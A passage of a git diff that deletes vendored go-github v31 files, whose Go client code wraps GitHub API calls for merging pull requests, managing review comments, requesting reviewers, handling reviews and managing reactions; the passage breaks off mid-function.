IsMerged checks if a pull request has been merged. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#get-if-a-pull-request-has-been-merged -func (s *PullRequestsService) IsMerged(ctx context.Context, owner string, repo string, number int) (bool, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/merge", owner, repo, number) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return false, nil, err - } - - resp, err := s.client.Do(ctx, req, nil) - merged, err := parseBoolResponse(err) - return merged, resp, err -} - -// PullRequestMergeResult represents the result of merging a pull request. -type PullRequestMergeResult struct { - SHA *string `json:"sha,omitempty"` - Merged *bool `json:"merged,omitempty"` - Message *string `json:"message,omitempty"` -} - -// PullRequestOptions lets you define how a pull request will be merged. -type PullRequestOptions struct { - CommitTitle string // Extra detail to append to automatic commit message. (Optional.) - SHA string // SHA that pull request head must match to allow merge. (Optional.) - - // The merge method to use. Possible values include: "merge", "squash", and "rebase" with the default being merge. (Optional.) - MergeMethod string -} - -type pullRequestMergeRequest struct { - CommitMessage string `json:"commit_message,omitempty"` - CommitTitle string `json:"commit_title,omitempty"` - MergeMethod string `json:"merge_method,omitempty"` - SHA string `json:"sha,omitempty"` -} - -// Merge a pull request (Merge Buttonâ„ĸ). -// commitMessage is the title for the automatic commit message. -// -// GitHub API docs: https://developer.github.com/v3/pulls/#merge-a-pull-request-merge-button -func (s *PullRequestsService) Merge(ctx context.Context, owner string, repo string, number int, commitMessage string, options *PullRequestOptions) (*PullRequestMergeResult, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/merge", owner, repo, number) - - pullRequestBody := &pullRequestMergeRequest{CommitMessage: commitMessage} - if options != nil { - pullRequestBody.CommitTitle = options.CommitTitle - pullRequestBody.MergeMethod = options.MergeMethod - pullRequestBody.SHA = options.SHA - } - req, err := s.client.NewRequest("PUT", u, pullRequestBody) - if err != nil { - return nil, nil, err - } - - mergeResult := new(PullRequestMergeResult) - resp, err := s.client.Do(ctx, req, mergeResult) - if err != nil { - return nil, resp, err - } - - return mergeResult, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/pulls_comments.go b/vendor/github.com/google/go-github/v31/github/pulls_comments.go deleted file mode 100644 index 741454aeef..0000000000 --- a/vendor/github.com/google/go-github/v31/github/pulls_comments.go +++ /dev/null @@ -1,202 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strings" - "time" -) - -// PullRequestComment represents a comment left on a pull request. -type PullRequestComment struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - InReplyTo *int64 `json:"in_reply_to_id,omitempty"` - Body *string `json:"body,omitempty"` - Path *string `json:"path,omitempty"` - DiffHunk *string `json:"diff_hunk,omitempty"` - PullRequestReviewID *int64 `json:"pull_request_review_id,omitempty"` - Position *int `json:"position,omitempty"` - OriginalPosition *int `json:"original_position,omitempty"` - StartLine *int `json:"start_line,omitempty"` - Line *int `json:"line,omitempty"` - OriginalLine *int `json:"original_line,omitempty"` - OriginalStartLine *int `json:"original_start_line,omitempty"` - Side *string `json:"side,omitempty"` - StartSide *string `json:"start_side,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - OriginalCommitID *string `json:"original_commit_id,omitempty"` - User *User `json:"user,omitempty"` - Reactions *Reactions `json:"reactions,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` - // AuthorAssociation is the comment author's relationship to the pull request's repository. - // Possible values are "COLLABORATOR", "CONTRIBUTOR", "FIRST_TIMER", "FIRST_TIME_CONTRIBUTOR", "MEMBER", "OWNER", or "NONE". - AuthorAssociation *string `json:"author_association,omitempty"` - URL *string `json:"url,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - PullRequestURL *string `json:"pull_request_url,omitempty"` -} - -func (p PullRequestComment) String() string { - return Stringify(p) -} - -// PullRequestListCommentsOptions specifies the optional parameters to the -// PullRequestsService.ListComments method. -type PullRequestListCommentsOptions struct { - // Sort specifies how to sort comments. Possible values are: created, updated. - Sort string `url:"sort,omitempty"` - - // Direction in which to sort comments. Possible values are: asc, desc. - Direction string `url:"direction,omitempty"` - - // Since filters comments by time. - Since time.Time `url:"since,omitempty"` - - ListOptions -} - -// ListComments lists all comments on the specified pull request. Specifying a -// pull request number of 0 will return all comments on all pull requests for -// the repository. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#list-comments-in-a-repository -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#list-comments-on-a-pull-request -func (s *PullRequestsService) ListComments(ctx context.Context, owner string, repo string, number int, opts *PullRequestListCommentsOptions) ([]*PullRequestComment, *Response, error) { - var u string - if number == 0 { - u = fmt.Sprintf("repos/%v/%v/pulls/comments", owner, repo) - } else { - u = fmt.Sprintf("repos/%v/%v/pulls/%d/comments", owner, repo, number) - } - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeMultiLineCommentsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - var comments []*PullRequestComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// GetComment fetches the specified pull request comment. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#get-a-single-comment -func (s *PullRequestsService) GetComment(ctx context.Context, owner string, repo string, commentID int64) (*PullRequestComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept header when this API fully launches. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeMultiLineCommentsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - comment := new(PullRequestComment) - resp, err := s.client.Do(ctx, req, comment) - if err != nil { - return nil, resp, err - } - - return comment, resp, nil -} - -// CreateComment creates a new comment on the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#create-a-comment -func (s *PullRequestsService) CreateComment(ctx context.Context, owner string, repo string, number int, comment *PullRequestComment) (*PullRequestComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/comments", owner, repo, number) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - // TODO: remove custom Accept headers when their respective API fully launches. - acceptHeaders := []string{mediaTypeReactionsPreview, mediaTypeMultiLineCommentsPreview} - req.Header.Set("Accept", strings.Join(acceptHeaders, ", ")) - - c := new(PullRequestComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// CreateCommentInReplyTo creates a new comment as a reply to an existing pull request comment. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#create-a-comment -func (s *PullRequestsService) CreateCommentInReplyTo(ctx context.Context, owner string, repo string, number int, body string, commentID int64) (*PullRequestComment, *Response, error) { - comment := &struct { - Body string `json:"body,omitempty"` - InReplyTo int64 `json:"in_reply_to,omitempty"` - }{ - Body: body, - InReplyTo: commentID, - } - u := fmt.Sprintf("repos/%v/%v/pulls/%d/comments", owner, repo, number) - req, err := s.client.NewRequest("POST", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(PullRequestComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// EditComment updates a pull request comment. -// A non-nil comment.Body must be provided. Other comment fields should be left nil. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#edit-a-comment -func (s *PullRequestsService) EditComment(ctx context.Context, owner string, repo string, commentID int64, comment *PullRequestComment) (*PullRequestComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("PATCH", u, comment) - if err != nil { - return nil, nil, err - } - - c := new(PullRequestComment) - resp, err := s.client.Do(ctx, req, c) - if err != nil { - return nil, resp, err - } - - return c, resp, nil -} - -// DeleteComment deletes a pull request comment. -// -// GitHub API docs: https://developer.github.com/v3/pulls/comments/#delete-a-comment -func (s *PullRequestsService) DeleteComment(ctx context.Context, owner string, repo string, commentID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%d", owner, repo, commentID) - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, err - } - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/pulls_reviewers.go b/vendor/github.com/google/go-github/v31/github/pulls_reviewers.go deleted file mode 100644 index 368f9680a8..0000000000 --- a/vendor/github.com/google/go-github/v31/github/pulls_reviewers.go +++ /dev/null @@ -1,80 +0,0 @@ -// Copyright 2017 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// ReviewersRequest specifies users and teams for a pull request review request. -type ReviewersRequest struct { - NodeID *string `json:"node_id,omitempty"` - Reviewers []string `json:"reviewers,omitempty"` - TeamReviewers []string `json:"team_reviewers,omitempty"` -} - -// Reviewers represents reviewers of a pull request. -type Reviewers struct { - Users []*User `json:"users,omitempty"` - Teams []*Team `json:"teams,omitempty"` -} - -// RequestReviewers creates a review request for the provided reviewers for the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/review_requests/#create-a-review-request -func (s *PullRequestsService) RequestReviewers(ctx context.Context, owner, repo string, number int, reviewers ReviewersRequest) (*PullRequest, *Response, error) { - u := fmt.Sprintf("repos/%s/%s/pulls/%d/requested_reviewers", owner, repo, number) - req, err := s.client.NewRequest("POST", u, &reviewers) - if err != nil { - return nil, nil, err - } - - r := new(PullRequest) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// ListReviewers lists reviewers whose reviews have been requested on the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/review_requests/#list-review-requests -func (s *PullRequestsService) ListReviewers(ctx context.Context, owner, repo string, number int, opts *ListOptions) (*Reviewers, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/requested_reviewers", owner, repo, number) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - reviewers := new(Reviewers) - resp, err := s.client.Do(ctx, req, reviewers) - if err != nil { - return nil, resp, err - } - - return reviewers, resp, nil -} - -// RemoveReviewers removes the review request for the provided reviewers for the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/review_requests/#delete-a-review-request -func (s *PullRequestsService) RemoveReviewers(ctx context.Context, owner, repo string, number int, reviewers ReviewersRequest) (*Response, error) { - u := fmt.Sprintf("repos/%s/%s/pulls/%d/requested_reviewers", owner, repo, number) - req, err := s.client.NewRequest("DELETE", u, &reviewers) - if err != nil { - return nil, err - } - - return s.client.Do(ctx, req, nil) -} diff --git a/vendor/github.com/google/go-github/v31/github/pulls_reviews.go b/vendor/github.com/google/go-github/v31/github/pulls_reviews.go deleted file mode 100644 index 5bceb61c4c..0000000000 --- a/vendor/github.com/google/go-github/v31/github/pulls_reviews.go +++ /dev/null @@ -1,264 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "time" -) - -// PullRequestReview represents a review of a pull request. -type PullRequestReview struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - User *User `json:"user,omitempty"` - Body *string `json:"body,omitempty"` - SubmittedAt *time.Time `json:"submitted_at,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - PullRequestURL *string `json:"pull_request_url,omitempty"` - State *string `json:"state,omitempty"` - // AuthorAssociation is the comment author's relationship to the issue's repository. - // Possible values are "COLLABORATOR", "CONTRIBUTOR", "FIRST_TIMER", "FIRST_TIME_CONTRIBUTOR", "MEMBER", "OWNER", or "NONE". - AuthorAssociation *string `json:"author_association,omitempty"` -} - -func (p PullRequestReview) String() string { - return Stringify(p) -} - -// DraftReviewComment represents a comment part of the review. -type DraftReviewComment struct { - Path *string `json:"path,omitempty"` - Position *int `json:"position,omitempty"` - Body *string `json:"body,omitempty"` -} - -func (c DraftReviewComment) String() string { - return Stringify(c) -} - -// PullRequestReviewRequest represents a request to create a review. -type PullRequestReviewRequest struct { - NodeID *string `json:"node_id,omitempty"` - CommitID *string `json:"commit_id,omitempty"` - Body *string `json:"body,omitempty"` - Event *string `json:"event,omitempty"` - Comments []*DraftReviewComment `json:"comments,omitempty"` -} - -func (r PullRequestReviewRequest) String() string { - return Stringify(r) -} - -// PullRequestReviewDismissalRequest represents a request to dismiss a review. -type PullRequestReviewDismissalRequest struct { - Message *string `json:"message,omitempty"` -} - -func (r PullRequestReviewDismissalRequest) String() string { - return Stringify(r) -} - -// ListReviews lists all reviews on the specified pull request. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#list-reviews-on-a-pull-request -func (s *PullRequestsService) ListReviews(ctx context.Context, owner, repo string, number int, opts *ListOptions) ([]*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews", owner, repo, number) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var reviews []*PullRequestReview - resp, err := s.client.Do(ctx, req, &reviews) - if err != nil { - return nil, resp, err - } - - return reviews, resp, nil -} - -// GetReview fetches the specified pull request review. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#get-a-single-review -func (s *PullRequestsService) GetReview(ctx context.Context, owner, repo string, number int, reviewID int64) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - review := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, review) - if err != nil { - return nil, resp, err - } - - return review, resp, nil -} - -// DeletePendingReview deletes the specified pull request pending review. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#delete-a-pending-review -func (s *PullRequestsService) DeletePendingReview(ctx context.Context, owner, repo string, number int, reviewID int64) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("DELETE", u, nil) - if err != nil { - return nil, nil, err - } - - review := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, review) - if err != nil { - return nil, resp, err - } - - return review, resp, nil -} - -// ListReviewComments lists all the comments for the specified review. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#get-comments-for-a-single-review -func (s *PullRequestsService) ListReviewComments(ctx context.Context, owner, repo string, number int, reviewID int64, opts *ListOptions) ([]*PullRequestComment, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d/comments", owner, repo, number, reviewID) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var comments []*PullRequestComment - resp, err := s.client.Do(ctx, req, &comments) - if err != nil { - return nil, resp, err - } - - return comments, resp, nil -} - -// CreateReview creates a new review on the specified pull request. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#create-a-pull-request-review -func (s *PullRequestsService) CreateReview(ctx context.Context, owner, repo string, number int, review *PullRequestReviewRequest) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews", owner, repo, number) - - req, err := s.client.NewRequest("POST", u, review) - if err != nil { - return nil, nil, err - } - - r := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// UpdateReview updates the review summary on the specified pull request. -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#update-a-pull-request-review -func (s *PullRequestsService) UpdateReview(ctx context.Context, owner, repo string, number int, reviewID int64, body string) (*PullRequestReview, *Response, error) { - opts := &struct { - Body string `json:"body"` - }{Body: body} - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("PUT", u, opts) - if err != nil { - return nil, nil, err - } - - review := &PullRequestReview{} - resp, err := s.client.Do(ctx, req, review) - if err != nil { - return nil, resp, err - } - - return review, resp, nil -} - -// SubmitReview submits a specified review on the specified pull request. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#submit-a-pull-request-review -func (s *PullRequestsService) SubmitReview(ctx context.Context, owner, repo string, number int, reviewID int64, review *PullRequestReviewRequest) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d/events", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("POST", u, review) - if err != nil { - return nil, nil, err - } - - r := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} - -// DismissReview dismisses a specified review on the specified pull request. -// -// TODO: Follow up with GitHub support about an issue with this method's -// returned error format and remove this comment once it's fixed. -// Read more about it here - https://github.com/google/go-github/issues/540 -// -// GitHub API docs: https://developer.github.com/v3/pulls/reviews/#dismiss-a-pull-request-review -func (s *PullRequestsService) DismissReview(ctx context.Context, owner, repo string, number int, reviewID int64, review *PullRequestReviewDismissalRequest) (*PullRequestReview, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/%d/reviews/%d/dismissals", owner, repo, number, reviewID) - - req, err := s.client.NewRequest("PUT", u, review) - if err != nil { - return nil, nil, err - } - - r := new(PullRequestReview) - resp, err := s.client.Do(ctx, req, r) - if err != nil { - return nil, resp, err - } - - return r, resp, nil -} diff --git a/vendor/github.com/google/go-github/v31/github/reactions.go b/vendor/github.com/google/go-github/v31/github/reactions.go deleted file mode 100644 index ce0a751829..0000000000 --- a/vendor/github.com/google/go-github/v31/github/reactions.go +++ /dev/null @@ -1,492 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "net/http" -) - -// ReactionsService provides access to the reactions-related functions in the -// GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/reactions/ -type ReactionsService service - -// Reaction represents a GitHub reaction. -type Reaction struct { - // ID is the Reaction ID. - ID *int64 `json:"id,omitempty"` - User *User `json:"user,omitempty"` - NodeID *string `json:"node_id,omitempty"` - // Content is the type of reaction. - // Possible values are: - // "+1", "-1", "laugh", "confused", "heart", "hooray". - Content *string `json:"content,omitempty"` -} - -// Reactions represents a summary of GitHub reactions. -type Reactions struct { - TotalCount *int `json:"total_count,omitempty"` - PlusOne *int `json:"+1,omitempty"` - MinusOne *int `json:"-1,omitempty"` - Laugh *int `json:"laugh,omitempty"` - Confused *int `json:"confused,omitempty"` - Heart *int `json:"heart,omitempty"` - Hooray *int `json:"hooray,omitempty"` - URL *string `json:"url,omitempty"` -} - -func (r Reaction) String() string { - return Stringify(r) -} - -// ListCommentReactionOptions specifies the optional parameters to the -// ReactionsService.ListCommentReactions method. -type ListCommentReactionOptions struct { - // Content restricts the returned comment reactions to only those with the given type. - // Omit this parameter to list all reactions to a commit comment. - // Possible values are: "+1", "-1", "laugh", "confused", "heart", "hooray", "rocket", or "eyes". - Content string `url:"content,omitempty"` - - ListOptions -} - -// ListCommentReactions lists the reactions for a commit comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-a-commit-comment -func (s *ReactionsService) ListCommentReactions(ctx context.Context, owner, repo string, id int64, opts *ListCommentReactionOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v/reactions", owner, repo, id) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreateCommentReaction creates a reaction for a commit comment. -// Note that if you have already created a reaction of type content, the -// previously created reaction will be returned with Status: 200 OK. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-a-commit-comment -func (s *ReactionsService) CreateCommentReaction(ctx context.Context, owner, repo string, id int64, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v/reactions", owner, repo, id) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// DeleteCommentReaction deletes the reaction for a commit comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-a-commit-comment-reaction -func (s *ReactionsService) DeleteCommentReaction(ctx context.Context, owner, repo string, commentID, reactionID int64) (*Response, error) { - u := fmt.Sprintf("repos/%v/%v/comments/%v/reactions/%v", owner, repo, commentID, reactionID) - - return s.deleteReaction(ctx, u) -} - -// DeleteCommentReactionByID deletes the reaction for a commit comment by repository ID. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-a-commit-comment-reaction -func (s *ReactionsService) DeleteCommentReactionByID(ctx context.Context, repoID, commentID, reactionID int64) (*Response, error) { - u := fmt.Sprintf("repositories/%v/comments/%v/reactions/%v", repoID, commentID, reactionID) - - return s.deleteReaction(ctx, u) -} - -// ListIssueReactions lists the reactions for an issue. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-an-issue -func (s *ReactionsService) ListIssueReactions(ctx context.Context, owner, repo string, number int, opts *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%v/reactions", owner, repo, number) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreateIssueReaction creates a reaction for an issue. -// Note that if you have already created a reaction of type content, the -// previously created reaction will be returned with Status: 200 OK. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-an-issue -func (s *ReactionsService) CreateIssueReaction(ctx context.Context, owner, repo string, number int, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/%v/reactions", owner, repo, number) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// DeleteIssueReaction deletes the reaction to an issue. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-an-issue-reaction -func (s *ReactionsService) DeleteIssueReaction(ctx context.Context, owner, repo string, issueNumber int, reactionID int64) (*Response, error) { - url := fmt.Sprintf("repos/%v/%v/issues/%v/reactions/%v", owner, repo, issueNumber, reactionID) - - return s.deleteReaction(ctx, url) -} - -// DeleteIssueReactionByID deletes the reaction to an issue by repository ID. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-an-issue-reaction -func (s *ReactionsService) DeleteIssueReactionByID(ctx context.Context, repoID, issueNumber int, reactionID int64) (*Response, error) { - url := fmt.Sprintf("repositories/%v/issues/%v/reactions/%v", repoID, issueNumber, reactionID) - - return s.deleteReaction(ctx, url) -} - -// ListIssueCommentReactions lists the reactions for an issue comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-an-issue-comment -func (s *ReactionsService) ListIssueCommentReactions(ctx context.Context, owner, repo string, id int64, opts *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%v/reactions", owner, repo, id) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreateIssueCommentReaction creates a reaction for an issue comment. -// Note that if you have already created a reaction of type content, the -// previously created reaction will be returned with Status: 200 OK. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-an-issue-comment -func (s *ReactionsService) CreateIssueCommentReaction(ctx context.Context, owner, repo string, id int64, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/issues/comments/%v/reactions", owner, repo, id) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// DeleteIssueCommentReaction deletes the reaction to an issue comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-an-issue-comment-reaction -func (s *ReactionsService) DeleteIssueCommentReaction(ctx context.Context, owner, repo string, commentID, reactionID int64) (*Response, error) { - url := fmt.Sprintf("repos/%v/%v/issues/comments/%v/reactions/%v", owner, repo, commentID, reactionID) - - return s.deleteReaction(ctx, url) -} - -// DeleteIssueCommentReactionByID deletes the reaction to an issue comment by repository ID. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-an-issue-comment-reaction -func (s *ReactionsService) DeleteIssueCommentReactionByID(ctx context.Context, repoID, commentID, reactionID int64) (*Response, error) { - url := fmt.Sprintf("repositories/%v/issues/comments/%v/reactions/%v", repoID, commentID, reactionID) - - return s.deleteReaction(ctx, url) -} - -// ListPullRequestCommentReactions lists the reactions for a pull request review comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#list-reactions-for-a-pull-request-review-comment -func (s *ReactionsService) ListPullRequestCommentReactions(ctx context.Context, owner, repo string, id int64, opts *ListOptions) ([]*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%v/reactions", owner, repo, id) - u, err := addOptions(u, opts) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - var m []*Reaction - resp, err := s.client.Do(ctx, req, &m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// CreatePullRequestCommentReaction creates a reaction for a pull request review comment. -// Note that if you have already created a reaction of type content, the -// previously created reaction will be returned with Status: 200 OK. -// The content should have one of the following values: "+1", "-1", "laugh", "confused", "heart", "hooray". -// -// GitHub API docs: https://developer.github.com/v3/reactions/#create-reaction-for-a-pull-request-review-comment -func (s *ReactionsService) CreatePullRequestCommentReaction(ctx context.Context, owner, repo string, id int64, content string) (*Reaction, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/pulls/comments/%v/reactions", owner, repo, id) - - body := &Reaction{Content: String(content)} - req, err := s.client.NewRequest("POST", u, body) - if err != nil { - return nil, nil, err - } - - // TODO: remove custom Accept headers when APIs fully launch. - req.Header.Set("Accept", mediaTypeReactionsPreview) - - m := &Reaction{} - resp, err := s.client.Do(ctx, req, m) - if err != nil { - return nil, resp, err - } - - return m, resp, nil -} - -// DeletePullRequestCommentReaction deletes the reaction to a pull request review comment. -// -// GitHub API docs: https://developer.github.com/v3/reactions/#delete-a-pull-request-comment-reaction -func (s *ReactionsService) DeletePullRequestCommentReaction(ctx context.Context, owner, repo string, commentID, reactionID int64) (*Response, error) { - url := fmt.Sprintf("repos/%v/%v/pulls/comments/%v/reactions/%v", owner, repo, commentID, reactionID) - - return 